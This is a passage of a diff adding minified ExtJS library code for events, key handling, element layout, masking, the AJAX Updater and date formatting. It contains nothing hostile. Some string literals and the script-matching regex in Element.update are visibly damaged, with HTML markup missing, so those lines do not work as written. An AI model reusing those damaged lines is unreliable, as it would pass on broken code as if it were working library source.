[i].concat(Array.prototype.slice.call(arguments, 0))) + } + } + + for (var d = 0, b = e.length; d < b; d++) { + var c = e[d]; + h.events[c] = h.events[c] || true; + j.on(c, g(c), h) + } + }, enableBubble:function (e) { + var g = this; + if (!Ext.isEmpty(e)) { + e = Ext.isArray(e) ? e : Array.prototype.slice.call(arguments, 0); + for (var d = 0, b = e.length; d < b; d++) { + var c = e[d]; + c = c.toLowerCase(); + var h = g.events[c] || true; + if (typeof h == "boolean") { + h = new Ext.util.Event(g, c); + g.events[c] = h + } + h.bubble = true + } + } + }} +}()); +Ext.util.Observable.capture = function (c, b, a) { + c.fireEvent = c.fireEvent.createInterceptor(b, a) +}; +Ext.util.Observable.observeClass = function (b, a) { + if (b) { + if (!b.fireEvent) { + Ext.apply(b, new Ext.util.Observable()); + Ext.util.Observable.capture(b.prototype, b.fireEvent, b) + } + if (typeof a == "object") { + b.on(a) + } + return b + } +}; +Ext.apply(Ext.EventManager, function () { + var d, k, g, b, a = Ext.lib.Dom, j = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/, c = Ext.EventManager._unload, i = 0, h = 0, e = Ext.isWebKit ? Ext.num(navigator.userAgent.match(/AppleWebKit\/(\d+)/)[1]) >= 525 : !((Ext.isGecko && !Ext.isWindows) || Ext.isOpera); + return{_unload:function () { + Ext.EventManager.un(window, "resize", this.fireWindowResize, this); + c.call(Ext.EventManager) + }, doResizeEvent:function () { + var m = a.getViewHeight(), l = a.getViewWidth(); + if (h != m || i != l) { + d.fire(i = l, h = m) + } + }, onWindowResize:function (n, m, l) { + if (!d) { + d = new Ext.util.Event(); + k = new Ext.util.DelayedTask(this.doResizeEvent); + Ext.EventManager.on(window, "resize", this.fireWindowResize, this) + } + d.addListener(n, m, l) + }, fireWindowResize:function () { + if (d) { + k.delay(100) + } + }, onTextResize:function (o, n, l) { + if (!g) { + g = new Ext.util.Event(); + var m = new Ext.Element(document.createElement("div")); + m.dom.className = "x-text-resize"; + m.dom.innerHTML = "X"; + m.appendTo(document.body); + b = m.dom.offsetHeight; + setInterval(function () { + if (m.dom.offsetHeight != b) { + g.fire(b, b = m.dom.offsetHeight) + } + }, this.textResizeInterval) + } + g.addListener(o, n, l) + }, removeResizeListener:function (m, l) { + if (d) { + d.removeListener(m, l) + } + }, fireResize:function () { + if (d) { + d.fire(a.getViewWidth(), a.getViewHeight()) + } + }, textResizeInterval:50, ieDeferSrc:false, getKeyEvent:function () { + return e ? "keydown" : "keypress" + }, useKeydown:e} +}()); +Ext.EventManager.on = Ext.EventManager.addListener; +Ext.apply(Ext.EventObjectImpl.prototype, {BACKSPACE:8, TAB:9, NUM_CENTER:12, ENTER:13, RETURN:13, SHIFT:16, CTRL:17, CONTROL:17, ALT:18, PAUSE:19, CAPS_LOCK:20, ESC:27, SPACE:32, PAGE_UP:33, PAGEUP:33, PAGE_DOWN:34, PAGEDOWN:34, END:35, HOME:36, LEFT:37, UP:38, RIGHT:39, DOWN:40, PRINT_SCREEN:44, INSERT:45, DELETE:46, ZERO:48, ONE:49, TWO:50, THREE:51, FOUR:52, FIVE:53, SIX:54, SEVEN:55, EIGHT:56, NINE:57, A:65, B:66, C:67, D:68, E:69, F:70, G:71, H:72, I:73, J:74, K:75, L:76, M:77, N:78, O:79, P:80, Q:81, R:82, S:83, T:84, U:85, V:86, W:87, X:88, Y:89, Z:90, CONTEXT_MENU:93, NUM_ZERO:96, NUM_ONE:97, NUM_TWO:98, NUM_THREE:99, NUM_FOUR:100, NUM_FIVE:101, NUM_SIX:102, NUM_SEVEN:103, NUM_EIGHT:104, NUM_NINE:105, NUM_MULTIPLY:106, NUM_PLUS:107, NUM_MINUS:109, NUM_PERIOD:110, NUM_DIVISION:111, F1:112, F2:113, F3:114, F4:115, F5:116, F6:117, F7:118, F8:119, F9:120, F10:121, F11:122, F12:123, isNavKeyPress:function () { + var b = this, a = this.normalizeKey(b.keyCode); + return(a >= 33 && a <= 40) || a == b.RETURN || a == b.TAB || a == b.ESC +}, isSpecialKey:function () { + var a = this.normalizeKey(this.keyCode); + return(this.type == "keypress" && this.ctrlKey) || this.isNavKeyPress() || (a == this.BACKSPACE) || (a >= 16 && a <= 20) || (a >= 44 && a <= 46) +}, getPoint:function () { + return new Ext.lib.Point(this.xy[0], this.xy[1]) +}, hasModifier:function () { + return((this.ctrlKey || this.altKey) || this.shiftKey) +}}); +Ext.Element.addMethods({swallowEvent:function (a, b) { + var d = this; + + function c(g) { + g.stopPropagation(); + if (b) { + g.preventDefault() + } + } + + if (Ext.isArray(a)) { + Ext.each(a, function (g) { + d.on(g, c) + }); + return d + } + d.on(a, c); + return d +}, relayEvent:function (a, b) { + this.on(a, function (c) { + b.fireEvent(a, c) + }) +}, clean:function (b) { + var d = this, e = d.dom, g = e.firstChild, c = -1; + if (Ext.Element.data(e, "isCleaned") && b !== true) { + return d + } + while (g) { + var a = g.nextSibling; + if (g.nodeType == 3 && !(/\S/.test(g.nodeValue))) { + e.removeChild(g) + } else { + g.nodeIndex = ++c + } + g = a + } + Ext.Element.data(e, "isCleaned", true); + return d +}, load:function () { + var a = this.getUpdater(); + a.update.apply(a, arguments); + return this +}, getUpdater:function () { + return this.updateManager || (this.updateManager = new Ext.Updater(this)) +}, update:function (html, loadScripts, callback) { + if (!this.dom) { + return this + } + html = html || ""; + if (loadScripts !== true) { + this.dom.innerHTML = html; + if (typeof callback == "function") { + callback() + } + return this + } + var id = Ext.id(), dom = this.dom; + html += ''; + Ext.lib.Event.onAvailable(id, function () { + var DOC = document, hd = DOC.getElementsByTagName("head")[0], re = /(?:]*)?>)((\n|\r|.)*?)(?:<\/script>)/ig, srcRe = /\ssrc=([\'\"])(.*?)\1/i, typeRe = /\stype=([\'\"])(.*?)\1/i, match, attrs, srcMatch, typeMatch, el, s; + while ((match = re.exec(html))) { + attrs = match[1]; + srcMatch = attrs ? attrs.match(srcRe) : false; + if (srcMatch && srcMatch[2]) { + s = DOC.createElement("script"); + s.src = srcMatch[2]; + typeMatch = attrs.match(typeRe); + if (typeMatch && typeMatch[2]) { + s.type = typeMatch[2] + } + hd.appendChild(s) + } else { + if (match[2] && match[2].length > 0) { + if (window.execScript) { + window.execScript(match[2]) + } else { + window.eval(match[2]) + } + } + } + } + el = DOC.getElementById(id); + if (el) { + Ext.removeNode(el) + } + if (typeof callback == "function") { + callback() + } + }); + dom.innerHTML = html.replace(/(?:)((\n|\r|.)*?)(?:<\/script>)/ig, ""); + return this +}, removeAllListeners:function () { + this.removeAnchor(); + Ext.EventManager.removeAll(this.dom); + return this +}, createProxy:function (a, e, d) { + a = (typeof a == "object") ? a : {tag:"div", cls:a}; + var c = this, b = e ? Ext.DomHelper.append(e, a, true) : Ext.DomHelper.insertBefore(c.dom, a, true); + if (d && c.setBox && c.getBox) { + b.setBox(c.getBox()) + } + return b +}}); +Ext.Element.prototype.getUpdateManager = Ext.Element.prototype.getUpdater; +Ext.Element.addMethods({getAnchorXY:function (e, l, q) { + e = (e || "tl").toLowerCase(); + q = q || {}; + var k = this, b = k.dom == document.body || k.dom == document, n = q.width || b ? Ext.lib.Dom.getViewWidth() : k.getWidth(), i = q.height || b ? Ext.lib.Dom.getViewHeight() : k.getHeight(), p, a = Math.round, c = k.getXY(), m = k.getScroll(), j = b ? m.left : !l ? c[0] : 0, g = b ? m.top : !l ? c[1] : 0, d = {c:[a(n * 0.5), a(i * 0.5)], t:[a(n * 0.5), 0], l:[0, a(i * 0.5)], r:[n, a(i * 0.5)], b:[a(n * 0.5), i], tl:[0, 0], bl:[0, i], br:[n, i], tr:[n, 0]}; + p = d[e]; + return[p[0] + j, p[1] + g] +}, anchorTo:function (b, h, c, a, k, l) { + var i = this, e = i.dom, j = !Ext.isEmpty(k), d = function () { + Ext.fly(e).alignTo(b, h, c, a); + Ext.callback(l, Ext.fly(e)) + }, g = this.getAnchor(); + this.removeAnchor(); + Ext.apply(g, {fn:d, scroll:j}); + Ext.EventManager.onWindowResize(d, null); + if (j) { + Ext.EventManager.on(window, "scroll", d, null, {buffer:!isNaN(k) ? k : 50}) + } + d.call(i); + return i +}, removeAnchor:function () { + var b = this, a = this.getAnchor(); + if (a && a.fn) { + Ext.EventManager.removeResizeListener(a.fn); + if (a.scroll) { + Ext.EventManager.un(window, "scroll", a.fn) + } + delete a.fn + } + return b +}, getAnchor:function () { + var b = Ext.Element.data, c = this.dom; + if (!c) { + return + } + var a = b(c, "_anchor"); + if (!a) { + a = b(c, "_anchor", {}) + } + return a +}, getAlignToXY:function (g, A, B) { + g = Ext.get(g); + if (!g || !g.dom) { + throw"Element.alignToXY with an element that doesn't exist" + } + B = B || [0, 0]; + A = (!A || A == "?" ? "tl-bl?" : (!(/-/).test(A) && A !== "" ? "tl-" + A : A || "tl-bl")).toLowerCase(); + var K = this, H = K.dom, M, L, n, l, s, F, v, t = Ext.lib.Dom.getViewWidth() - 10, G = Ext.lib.Dom.getViewHeight() - 10, b, i, j, k, u, z, N = document, J = N.documentElement, q = N.body, E = (J.scrollLeft || q.scrollLeft || 0) + 5, D = (J.scrollTop || q.scrollTop || 0) + 5, I = false, e = "", a = "", C = A.match(/^([a-z]+)-([a-z]+)(\?)?$/); + if (!C) { + throw"Element.alignTo with an invalid alignment " + A + } + e = C[1]; + a = C[2]; + I = !!C[3]; + M = K.getAnchorXY(e, true); + L = g.getAnchorXY(a, false); + n = L[0] - M[0] + B[0]; + l = L[1] - M[1] + B[1]; + if (I) { + s = K.getWidth(); + F = K.getHeight(); + v = g.getRegion(); + b = e.charAt(0); + i = e.charAt(e.length - 1); + j = a.charAt(0); + k = a.charAt(a.length - 1); + u = ((b == "t" && j == "b") || (b == "b" && j == "t")); + z = ((i == "r" && k == "l") || (i == "l" && k == "r")); + if (n + s > t + E) { + n = z ? v.left - s : t + E - s + } + if (n < E) { + n = z ? v.right : E + } + if (l + F > G + D) { + l = u ? v.top - F : G + D - F + } + if (l < D) { + l = u ? v.bottom : D + } + } + return[n, l] +}, alignTo:function (c, a, e, b) { + var d = this; + return d.setXY(d.getAlignToXY(c, a, e), d.preanim && !!b ? d.preanim(arguments, 3) : false) +}, adjustForConstraints:function (c, a, b) { + return this.getConstrainToXY(a || document, false, b, c) || c +}, getConstrainToXY:function (b, a, c, e) { + var d = {top:0, left:0, bottom:0, right:0}; + return function (i, A, l, n) { + i = Ext.get(i); + l = l ? Ext.applyIf(l, d) : d; + var z, D, v = 0, u = 0; + if (i.dom == document.body || i.dom == document) { + z = Ext.lib.Dom.getViewWidth(); + D = Ext.lib.Dom.getViewHeight() + } else { + z = i.dom.clientWidth; + D = i.dom.clientHeight; + if (!A) { + var t = i.getXY(); + v = t[0]; + u = t[1] + } + } + var r = i.getScroll(); + v += l.left + r.left; + u += l.top + r.top; + z -= l.right; + D -= l.bottom; + var B = v + z, g = u + D, j = n || (!A ? this.getXY() : [this.getLeft(true), this.getTop(true)]), p = j[0], o = j[1], k = this.getConstrainOffset(), q = this.dom.offsetWidth + k, C = this.dom.offsetHeight + k; + var m = false; + if ((p + q) > B) { + p = B - q; + m = true + } + if ((o + C) > g) { + o = g - C; + m = true + } + if (p < v) { + p = v; + m = true + } + if (o < u) { + o = u; + m = true + } + return m ? [p, o] : false + } +}(), getConstrainOffset:function () { + return 0 +}, getCenterXY:function () { + return this.getAlignToXY(document, "c-c") +}, center:function (a) { + return this.alignTo(a || document, "c-c") +}}); +Ext.Element.addMethods({select:function (a, b) { + return Ext.Element.select(a, b, this.dom) +}}); +Ext.apply(Ext.Element.prototype, function () { + var c = Ext.getDom, a = Ext.get, b = Ext.DomHelper; + return{insertSibling:function (i, g, h) { + var j = this, e, d = (g || "before").toLowerCase() == "after", k; + if (Ext.isArray(i)) { + k = j; + Ext.each(i, function (l) { + e = Ext.fly(k, "_internal").insertSibling(l, g, h); + if (d) { + k = e + } + }); + return e + } + i = i || {}; + if (i.nodeType || i.dom) { + e = j.dom.parentNode.insertBefore(c(i), d ? j.dom.nextSibling : j.dom); + if (!h) { + e = a(e) + } + } else { + if (d && !j.dom.nextSibling) { + e = b.append(j.dom.parentNode, i, !h) + } else { + e = b[d ? "insertAfter" : "insertBefore"](j.dom, i, !h) + } + } + return e + }} +}()); +Ext.Element.boxMarkup = '
'; +Ext.Element.addMethods(function () { + var a = "_internal", b = /(\d+\.?\d+)px/; + return{applyStyles:function (c) { + Ext.DomHelper.applyStyles(this.dom, c); + return this + }, getStyles:function () { + var c = {}; + Ext.each(arguments, function (d) { + c[d] = this.getStyle(d) + }, this); + return c + }, setOverflow:function (c) { + var d = this.dom; + if (c == "auto" && Ext.isMac && Ext.isGecko2) { + d.style.overflow = "hidden"; + (function () { + d.style.overflow = "auto" + }).defer(1) + } else { + d.style.overflow = c + } + }, boxWrap:function (c) { + c = c || "x-box"; + var d = Ext.get(this.insertHtml("beforeBegin", "
" + String.format(Ext.Element.boxMarkup, c) + "
")); + Ext.DomQuery.selectNode("." + c + "-mc", d.dom).appendChild(this.dom); + return d + }, setSize:function (e, c, d) { + var g = this; + if (typeof e == "object") { + c = e.height; + e = e.width + } + e = g.adjustWidth(e); + c = g.adjustHeight(c); + if (!d || !g.anim) { + g.dom.style.width = g.addUnits(e); + g.dom.style.height = g.addUnits(c) + } else { + g.anim({width:{to:e}, height:{to:c}}, g.preanim(arguments, 2)) + } + return g + }, getComputedHeight:function () { + var d = this, c = Math.max(d.dom.offsetHeight, d.dom.clientHeight); + if (!c) { + c = parseFloat(d.getStyle("height")) || 0; + if (!d.isBorderBox()) { + c += d.getFrameWidth("tb") + } + } + return c + }, getComputedWidth:function () { + var c = Math.max(this.dom.offsetWidth, this.dom.clientWidth); + if (!c) { + c = parseFloat(this.getStyle("width")) || 0; + if (!this.isBorderBox()) { + c += this.getFrameWidth("lr") + } + } + return c + }, getFrameWidth:function (d, c) { + return c && this.isBorderBox() ? 0 : (this.getPadding(d) + this.getBorderWidth(d)) + }, addClassOnOver:function (c) { + this.hover(function () { + Ext.fly(this, a).addClass(c) + }, function () { + Ext.fly(this, a).removeClass(c) + }); + return this + }, addClassOnFocus:function (c) { + this.on("focus", function () { + Ext.fly(this, a).addClass(c) + }, this.dom); + this.on("blur", function () { + Ext.fly(this, a).removeClass(c) + }, this.dom); + return this + }, addClassOnClick:function (c) { + var d = this.dom; + this.on("mousedown", function () { + Ext.fly(d, a).addClass(c); + var g = Ext.getDoc(), e = function () { + Ext.fly(d, a).removeClass(c); + g.removeListener("mouseup", e) + }; + g.on("mouseup", e) + }); + return this + }, getViewSize:function () { + var g = document, h = this.dom, c = (h == g || h == g.body); + if (c) { + var e = Ext.lib.Dom; + return{width:e.getViewWidth(), height:e.getViewHeight()} + } else { + return{width:h.clientWidth, height:h.clientHeight} + } + }, getStyleSize:function () { + var j = this, c, i, l = document, m = this.dom, e = (m == l || m == l.body), g = m.style; + if (e) { + var k = Ext.lib.Dom; + return{width:k.getViewWidth(), height:k.getViewHeight()} + } + if (g.width && g.width != "auto") { + c = parseFloat(g.width); + if (j.isBorderBox()) { + c -= j.getFrameWidth("lr") + } + } + if (g.height && g.height != "auto") { + i = parseFloat(g.height); + if (j.isBorderBox()) { + i -= j.getFrameWidth("tb") + } + } + return{width:c || j.getWidth(true), height:i || j.getHeight(true)} + }, getSize:function (c) { + return{width:this.getWidth(c), height:this.getHeight(c)} + }, repaint:function () { + var c = this.dom; + this.addClass("x-repaint"); + setTimeout(function () { + Ext.fly(c).removeClass("x-repaint") + }, 1); + return this + }, unselectable:function () { + this.dom.unselectable = "on"; + return this.swallowEvent("selectstart", true).applyStyles("-moz-user-select:none;-khtml-user-select:none;").addClass("x-unselectable") + }, getMargins:function (d) { + var e = this, c, g = {t:"top", l:"left", r:"right", b:"bottom"}, h = {}; + if (!d) { + for (c in e.margins) { + h[g[c]] = parseFloat(e.getStyle(e.margins[c])) || 0 + } + return h + } else { + return e.addStyles.call(e, d, e.margins) + } + }} +}()); +Ext.Element.addMethods({setBox:function (e, g, b) { + var d = this, a = e.width, c = e.height; + if ((g && !d.autoBoxAdjust) && !d.isBorderBox()) { + a -= (d.getBorderWidth("lr") + d.getPadding("lr")); + c -= (d.getBorderWidth("tb") + d.getPadding("tb")) + } + d.setBounds(e.x, e.y, a, c, d.animTest.call(d, arguments, b, 2)); + return d +}, getBox:function (j, p) { + var m = this, v, e, o, d = m.getBorderWidth, q = m.getPadding, g, a, u, n; + if (!p) { + v = m.getXY() + } else { + e = parseInt(m.getStyle("left"), 10) || 0; + o = parseInt(m.getStyle("top"), 10) || 0; + v = [e, o] + } + var c = m.dom, s = c.offsetWidth, i = c.offsetHeight, k; + if (!j) { + k = {x:v[0], y:v[1], 0:v[0], 1:v[1], width:s, height:i} + } else { + g = d.call(m, "l") + q.call(m, "l"); + a = d.call(m, "r") + q.call(m, "r"); + u = d.call(m, "t") + q.call(m, "t"); + n = d.call(m, "b") + q.call(m, "b"); + k = {x:v[0] + g, y:v[1] + u, 0:v[0] + g, 1:v[1] + u, width:s - (g + a), height:i - (u + n)} + } + k.right = k.x + k.width; + k.bottom = k.y + k.height; + return k +}, move:function (j, b, c) { + var g = this, m = g.getXY(), k = m[0], i = m[1], d = [k - b, i], l = [k + b, i], h = [k, i - b], a = [k, i + b], e = {l:d, left:d, r:l, right:l, t:h, top:h, up:h, b:a, bottom:a, down:a}; + j = j.toLowerCase(); + g.moveTo(e[j][0], e[j][1], g.animTest.call(g, arguments, c, 2)) +}, setLeftTop:function (d, c) { + var b = this, a = b.dom.style; + a.left = b.addUnits(d); + a.top = b.addUnits(c); + return b +}, getRegion:function () { + return Ext.lib.Dom.getRegion(this.dom) +}, setBounds:function (b, g, d, a, c) { + var e = this; + if (!c || !e.anim) { + e.setSize(d, a); + e.setLocation(b, g) + } else { + e.anim({points:{to:[b, g]}, width:{to:e.adjustWidth(d)}, height:{to:e.adjustHeight(a)}}, e.preanim(arguments, 4), "motion") + } + return e +}, setRegion:function (b, a) { + return this.setBounds(b.left, b.top, b.right - b.left, b.bottom - b.top, this.animTest.call(this, arguments, a, 1)) +}}); +Ext.Element.addMethods({scrollTo:function (b, d, a) { + var e = /top/i.test(b), c = this, g = c.dom, h; + if (!a || !c.anim) { + h = "scroll" + (e ? "Top" : "Left"); + g[h] = d + } else { + h = "scroll" + (e ? "Left" : "Top"); + c.anim({scroll:{to:e ? [g[h], d] : [d, g[h]]}}, c.preanim(arguments, 2), "scroll") + } + return c +}, scrollIntoView:function (e, i) { + var p = Ext.getDom(e) || Ext.getBody().dom, h = this.dom, g = this.getOffsetsTo(p), k = g[0] + p.scrollLeft, u = g[1] + p.scrollTop, q = u + h.offsetHeight, d = k + h.offsetWidth, a = p.clientHeight, m = parseInt(p.scrollTop, 10), s = parseInt(p.scrollLeft, 10), j = m + a, n = s + p.clientWidth; + if (h.offsetHeight > a || u < m) { + p.scrollTop = u + } else { + if (q > j) { + p.scrollTop = q - a + } + } + p.scrollTop = p.scrollTop; + if (i !== false) { + if (h.offsetWidth > p.clientWidth || k < s) { + p.scrollLeft = k + } else { + if (d > n) { + p.scrollLeft = d - p.clientWidth + } + } + p.scrollLeft = p.scrollLeft + } + return this +}, scrollChildIntoView:function (b, a) { + Ext.fly(b, "_scrollChildIntoView").scrollIntoView(this, a) +}, scroll:function (m, b, d) { + if (!this.isScrollable()) { + return false + } + var e = this.dom, g = e.scrollLeft, p = e.scrollTop, n = e.scrollWidth, k = e.scrollHeight, i = e.clientWidth, a = e.clientHeight, c = false, o, j = {l:Math.min(g + b, n - i), r:o = Math.max(g - b, 0), t:Math.max(p - b, 0), b:Math.min(p + b, k - a)}; + j.d = j.b; + j.u = j.t; + m = m.substr(0, 1); + if ((o = j[m]) > -1) { + c = true; + this.scrollTo(m == "l" || m == "r" ? "left" : "top", o, this.preanim(arguments, 2)) + } + return c +}}); +Ext.Element.addMethods(function () { + var d = "visibility", b = "display", a = "hidden", h = "none", c = "x-masked", g = "x-masked-relative", e = Ext.Element.data; + return{isVisible:function (i) { + var j = !this.isStyle(d, a) && !this.isStyle(b, h), k = this.dom.parentNode; + if (i !== true || !j) { + return j + } + while (k && !(/^body/i.test(k.tagName))) { + if (!Ext.fly(k, "_isVisible").isVisible()) { + return false + } + k = k.parentNode + } + return true + }, isDisplayed:function () { + return !this.isStyle(b, h) + }, enableDisplayMode:function (i) { + this.setVisibilityMode(Ext.Element.DISPLAY); + if (!Ext.isEmpty(i)) { + e(this.dom, "originalDisplay", i) + } + return this + }, mask:function (j, n) { + var p = this, l = p.dom, o = Ext.DomHelper, m = "ext-el-mask-msg", i, q; + if (!/^body/i.test(l.tagName) && p.getStyle("position") == "static") { + p.addClass(g) + } + if (i = e(l, "maskMsg")) { + i.remove() + } + if (i = e(l, "mask")) { + i.remove() + } + q = o.append(l, {cls:"ext-el-mask"}, true); + e(l, "mask", q); + p.addClass(c); + q.setDisplayed(true); + if (typeof j == "string") { + var k = o.append(l, {cls:m, cn:{tag:"div"}}, true); + e(l, "maskMsg", k); + k.dom.className = n ? m + " " + n : m; + k.dom.firstChild.innerHTML = j; + k.setDisplayed(true); + k.center(p) + } + if (Ext.isIE && !(Ext.isIE7 && Ext.isStrict) && p.getStyle("height") == "auto") { + q.setSize(undefined, p.getHeight()) + } + return q + }, unmask:function () { + var k = this, l = k.dom, i = e(l, "mask"), j = e(l, "maskMsg"); + if (i) { + if (j) { + j.remove(); + e(l, "maskMsg", undefined) + } + i.remove(); + e(l, "mask", undefined); + k.removeClass([c, g]) + } + }, isMasked:function () { + var i = e(this.dom, "mask"); + return i && i.isVisible() + }, createShim:function () { + var i = document.createElement("iframe"), j; + i.frameBorder = "0"; + i.className = "ext-shim"; + i.src = Ext.SSL_SECURE_URL; + j = Ext.get(this.dom.parentNode.insertBefore(i, this.dom)); + j.autoBoxAdjust = false; + return j + }} +}()); +Ext.Element.addMethods({addKeyListener:function (b, d, c) { + var a; + if (typeof b != "object" || Ext.isArray(b)) { + a = {key:b, fn:d, scope:c} + } else { + a = {key:b.key, shift:b.shift, ctrl:b.ctrl, alt:b.alt, fn:d, scope:c} + } + return new Ext.KeyMap(this, a) +}, addKeyMap:function (a) { + return new Ext.KeyMap(this, a) +}}); +Ext.CompositeElementLite.importElementMethods(); +Ext.apply(Ext.CompositeElementLite.prototype, {addElements:function (c, a) { + if (!c) { + return this + } + if (typeof c == "string") { + c = Ext.Element.selectorFunction(c, a) + } + var b = this.elements; + Ext.each(c, function (d) { + b.push(Ext.get(d)) + }); + return this +}, first:function () { + return this.item(0) +}, last:function () { + return this.item(this.getCount() - 1) +}, contains:function (a) { + return this.indexOf(a) != -1 +}, removeElement:function (d, e) { + var c = this, a = this.elements, b; + Ext.each(d, function (g) { + if ((b = (a[g] || a[g = c.indexOf(g)]))) { + if (e) { + if (b.dom) { + b.remove() + } else { + Ext.removeNode(b) + } + } + a.splice(g, 1) + } + }); + return this +}}); +Ext.CompositeElement = Ext.extend(Ext.CompositeElementLite, {constructor:function (b, a) { + this.elements = []; + this.add(b, a) +}, getElement:function (a) { + return a +}, transformElement:function (a) { + return Ext.get(a) +}}); +Ext.Element.select = function (a, d, b) { + var c; + if (typeof a == "string") { + c = Ext.Element.selectorFunction(a, b) + } else { + if (a.length !== undefined) { + c = a + } else { + throw"Invalid selector" + } + } + return(d === true) ? new Ext.CompositeElement(c) : new Ext.CompositeElementLite(c) +}; +Ext.select = Ext.Element.select; +Ext.UpdateManager = Ext.Updater = Ext.extend(Ext.util.Observable, function () { + var b = "beforeupdate", d = "update", c = "failure"; + + function a(h) { + var i = this; + i.transaction = null; + if (h.argument.form && h.argument.reset) { + try { + h.argument.form.reset() + } catch (j) { + } + } + if (i.loadScripts) { + i.renderer.render(i.el, h, i, g.createDelegate(i, [h])) + } else { + i.renderer.render(i.el, h, i); + g.call(i, h) + } + } + + function g(h, i, j) { + this.fireEvent(i || d, this.el, h); + if (Ext.isFunction(h.argument.callback)) { + h.argument.callback.call(h.argument.scope, this.el, Ext.isEmpty(j) ? true : false, h, h.argument.options) + } + } + + function e(h) { + g.call(this, h, c, !!(this.transaction = null)) + } + + return{constructor:function (i, h) { + var j = this; + i = Ext.get(i); + if (!h && i.updateManager) { + return i.updateManager + } + j.el = i; + j.defaultUrl = null; + j.addEvents(b, d, c); + Ext.apply(j, Ext.Updater.defaults); + j.transaction = null; + j.refreshDelegate = j.refresh.createDelegate(j); + j.updateDelegate = j.update.createDelegate(j); + j.formUpdateDelegate = (j.formUpdate || function () { + }).createDelegate(j); + j.renderer = j.renderer || j.getDefaultRenderer(); + Ext.Updater.superclass.constructor.call(j) + }, setRenderer:function (h) { + this.renderer = h + }, getRenderer:function () { + return this.renderer + }, getDefaultRenderer:function () { + return new Ext.Updater.BasicRenderer() + }, setDefaultUrl:function (h) { + this.defaultUrl = h + }, getEl:function () { + return this.el + }, update:function (i, n, p, l) { + var k = this, h, j; + if (k.fireEvent(b, k.el, i, n) !== false) { + if (Ext.isObject(i)) { + h = i; + i = h.url; + n = n || h.params; + p = p || h.callback; + l = l || h.discardUrl; + j = h.scope; + if (!Ext.isEmpty(h.nocache)) { + k.disableCaching = h.nocache + } + if (!Ext.isEmpty(h.text)) { + k.indicatorText = '
' + h.text + "
" + } + if (!Ext.isEmpty(h.scripts)) { + k.loadScripts = h.scripts + } + if (!Ext.isEmpty(h.timeout)) { + k.timeout = h.timeout + } + } + k.showLoading(); + if (!l) { + k.defaultUrl = i + } + if (Ext.isFunction(i)) { + i = i.call(k) + } + var m = Ext.apply({}, {url:i, params:(Ext.isFunction(n) && j) ? n.createDelegate(j) : n, success:a, failure:e, scope:k, callback:undefined, timeout:(k.timeout * 1000), disableCaching:k.disableCaching, argument:{options:h, url:i, form:null, callback:p, scope:j || window, params:n}}, h); + k.transaction = Ext.Ajax.request(m) + } + }, formUpdate:function (k, h, j, l) { + var i = this; + if (i.fireEvent(b, i.el, k, h) !== false) { + if (Ext.isFunction(h)) { + h = h.call(i) + } + k = Ext.getDom(k); + i.transaction = Ext.Ajax.request({form:k, url:h, success:a, failure:e, scope:i, timeout:(i.timeout * 1000), argument:{url:h, form:k, callback:l, reset:j}}); + i.showLoading.defer(1, i) + } + }, startAutoRefresh:function (i, j, l, m, h) { + var k = this; + if (h) { + k.update(j || k.defaultUrl, l, m, true) + } + if (k.autoRefreshProcId) { + clearInterval(k.autoRefreshProcId) + } + k.autoRefreshProcId = setInterval(k.update.createDelegate(k, [j || k.defaultUrl, l, m, true]), i * 1000) + }, stopAutoRefresh:function () { + if (this.autoRefreshProcId) { + clearInterval(this.autoRefreshProcId); + delete this.autoRefreshProcId + } + }, isAutoRefreshing:function () { + return !!this.autoRefreshProcId + }, showLoading:function () { + if (this.showLoadIndicator) { + this.el.dom.innerHTML = this.indicatorText + } + }, abort:function () { + if (this.transaction) { + Ext.Ajax.abort(this.transaction) + } + }, isUpdating:function () { + return this.transaction ? Ext.Ajax.isLoading(this.transaction) : false + }, refresh:function (h) { + if (this.defaultUrl) { + this.update(this.defaultUrl, null, h, true) + } + }} +}()); +Ext.Updater.defaults = {timeout:30, disableCaching:false, showLoadIndicator:true, indicatorText:'
Loading...
', loadScripts:false, sslBlankUrl:Ext.SSL_SECURE_URL}; +Ext.Updater.updateElement = function (d, c, e, b) { + var a = Ext.get(d).getUpdater(); + Ext.apply(a, b); + a.update(c, e, b ? b.callback : null) +}; +Ext.Updater.BasicRenderer = function () { +}; +Ext.Updater.BasicRenderer.prototype = {render:function (c, a, b, d) { + c.update(a.responseText, b.loadScripts, d) +}}; +(function () { + Date.useStrict = false; + function b(d) { + var c = Array.prototype.slice.call(arguments, 1); + return d.replace(/\{(\d+)\}/g, function (e, g) { + return c[g] + }) + } + + Date.formatCodeToRegex = function (d, c) { + var e = Date.parseCodes[d]; + if (e) { + e = typeof e == "function" ? e() : e; + Date.parseCodes[d] = e + } + return e ? Ext.applyIf({c:e.c ? b(e.c, c || "{0}") : e.c}, e) : {g:0, c:null, s:Ext.escapeRe(d)} + }; + var a = Date.formatCodeToRegex; + Ext.apply(Date, {parseFunctions:{"M$":function (d, c) { + var e = new RegExp("\\/Date\\(([-+])?(\\d+)(?:[+-]\\d{4})?\\)\\/"); + var g = (d || "").match(e); + return g ? new Date(((g[1] || "") + g[2]) * 1) : null + }}, parseRegexes:[], formatFunctions:{"M$":function () { + return"\\/Date(" + this.getTime() + ")\\/" + }}, y2kYear:50, MILLI:"ms", SECOND:"s", MINUTE:"mi", HOUR:"h", DAY:"d", MONTH:"mo", YEAR:"y", defaults:{}, dayNames:["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], monthNames:["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], monthNumbers:{Jan:0, Feb:1, Mar:2, Apr:3, May:4, Jun:5, Jul:6, Aug:7, Sep:8, Oct:9, Nov:10, Dec:11}, getShortMonthName:function (c) { + return Date.monthNames[c].substring(0, 3) + }, getShortDayName:function (c) { + return Date.dayNames[c].substring(0, 3) + }, getMonthNumber:function (c) { + return Date.monthNumbers[c.substring(0, 1).toUpperCase() + c.substring(1, 3).toLowerCase()] + }, formatContainsHourInfo:(function () { + var d = /(\\.)/g, c = /([gGhHisucUOPZ]|M\$)/; + return function (e) { + return c.test(e.replace(d, "")) + } + })(), formatCodes:{d:"String.leftPad(this.getDate(), 2, '0')", D:"Date.getShortDayName(this.getDay())", j:"this.getDate()", l:"Date.dayNames[this.getDay()]", N:"(this.getDay() ? this.getDay() : 7)", S:"this.getSuffix()", w:"this.getDay()", z:"this.getDayOfYear()", W:"String.leftPad(this.getWeekOfYear(), 2, '0')", F:"Date.monthNames[this.getMonth()]", m:"String.leftPad(this.getMonth() + 1, 2, '0')", 